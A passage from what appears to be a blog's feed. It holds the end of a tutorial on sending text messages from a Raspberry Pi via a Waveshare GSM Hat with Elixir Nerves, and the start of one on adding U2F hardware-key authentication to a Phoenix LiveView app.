&lt;pre id=&quot;code-block-12&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;WaveshareHat&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;18&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;flush&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;AT&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;OK&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And check the status of your SIM card:&lt;/p&gt;
&lt;pre id=&quot;code-block-13&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;WaveshareHat&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;status_sim&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;flush&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;AT+CPIN?&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;+CPIN: READY&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;OK&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#sending-a-text-message-1&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;sending-a-text-message-1&quot;&gt;&lt;/a&gt;Sending a text message&lt;/h3&gt;
&lt;p&gt;Now, we can communicate with the Waveshare Hat and everything is connected. Let&apos;s finally send that text message!&lt;br /&gt;
Execute the following commands. The receiver should receive your text message! Exciting, no?&lt;/p&gt;
&lt;pre id=&quot;code-block-14&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;WaveshareHat.SMS&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;set_local_number&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;YOUR_NUMBER&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;WaveshareHat.SMS&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;set_receiver&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;THE_RECEIVING_NUMBER&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;WaveshareHat.SMS&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;set_sms_body&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Hello World from the Raspberry Pi!&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;WaveshareHat&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;end_mark&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Waveshare Hat echos all commands back to you. With this, you can check whether all commands from above were received successfully.&lt;/p&gt;
&lt;pre id=&quot;code-block-15&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;flush&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;AT+CSCA=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;YOUR_NUMBER&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;OK&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;AT+CMGS=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;THE_RECEIVING_NUMBER&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&gt; Hello World from the Raspberry Pi!&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;+CMGS: 1&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_uart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;OK&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;And that is it! I hope that you enjoyed this tutorial! We learned how to run a Nerves project on a Raspberry Pi, how to connect to the Waveshare GSM/GPRS/GNSS Hat, and how to send text messages using it. In upcoming blog posts, I will look more into how to make phone calls and how to track your geolocation with the Waveshare Hat, so consider following me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; to stay updated.&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/sending-text-messages-with-nerves"/>
    <id>https://peterullrich.com/sending-text-messages-with-nerves</id>
    <title>Sending text messages from a Raspberry Pi with Nerves</title>
    <updated>2021-07-24T06:01:35Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;If you want to secure your users&apos; accounts beyond simple username and password authentication, &lt;a href=&quot;https://developers.yubico.com/U2F/&quot;&gt;U2F&lt;/a&gt; is arguably the most secure multi-factor authentication method you can offer. In order to log in or register, your user needs to authenticate using a physical device like a &lt;a href=&quot;https://www.yubico.com/&quot;&gt;YubiKey&lt;/a&gt;. After entering the username and password, the user needs to authorize the physical device to accept and solve a challenge given to it from your application. If the device answers correctly to the challenge, the user is logged in successfully. If the user does not have the correct physical devise, she won&apos;t be able to log in.&lt;/p&gt;
&lt;p&gt;By having a physical device as a multi-factor, you can prevent unauthorized access to a user&apos;s account even if an attacker gained access to the user&apos;s username and password. Without the physical device, the attacker won&apos;t be able to log in, end of story. The U2F-method secures accounts with such ease and speediness that &lt;a href=&quot;https://www.yubico.com/resources/reference-customers/google/&quot;&gt;Google rolled out U2P-devices&lt;/a&gt; to all their employees.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/gifs/u2f-demo.gif&quot; alt=&quot;Demo of registering and logging in a user with a YubiKey 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So, all this sounds cool, but how can you add a U2F authentication method to your &lt;a href=&quot;https://hexdocs.pm/phoenix_live_view/Phoenix.LiveView.html&quot;&gt;Phoenix LiveView&lt;/a&gt; project? Here is how:&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-setup&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-setup&quot;&gt;&lt;/a&gt;The Setup&lt;/h2&gt;
&lt;p&gt;Let&apos;s first create a new Phoenix LiveView project. You can skip this step if you have an existing project already. Create a new project with:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;phx.new&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;app&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--live&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command will create a new Phoenix LiveView project. Next, let us include the &lt;a href=&quot;https://github.com/Ianleeclark/u2f_ex&quot;&gt;u2f_ex&lt;/a&gt; library, which handles registering the U2F-devices and creation of challenges when a user wants to log in. In your &lt;code&gt;mix.exs&lt;/code&gt;, add the following dependency:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;deps&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:u2f_ex&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 0.4.2&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fetch the dependency with &lt;code&gt;mix deps.get&lt;/code&gt;. Now, you have a project and the necessary dependency, so let&apos;s create the database schemas to register the U2F-devices.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#enabling-ssl&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;enabling-ssl&quot;&gt;&lt;/a&gt;Enabling SSL&lt;/h2&gt;
&lt;p&gt;U2F requires an SSL connection and does not allow communication over an unprotected HTTP-connection. Offering a HTTPS-connection is typically not problem in production since we would enable SSL encryption anyway. However, we want to test the U2F authentication locally, which means we have set up a HTTPS-connection to our server locally. We can do that by running the following command to create a new self-signed SSL certificate:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;phx.gen.cert&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will create a self-signed SSL certificate and store it at &lt;code&gt;priv/cert/selfsigned_key.pem&lt;/code&gt;. Now, enable the SSL endpoint in &lt;code&gt;dev.exs&lt;/code&gt; like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config/dev.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;AppWeb.Endpoint&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;http&lt;/span&gt;: &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;port&lt;/span&gt;: &lt;span style=&quot;color: #79c0ff;&quot;&gt;4000&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
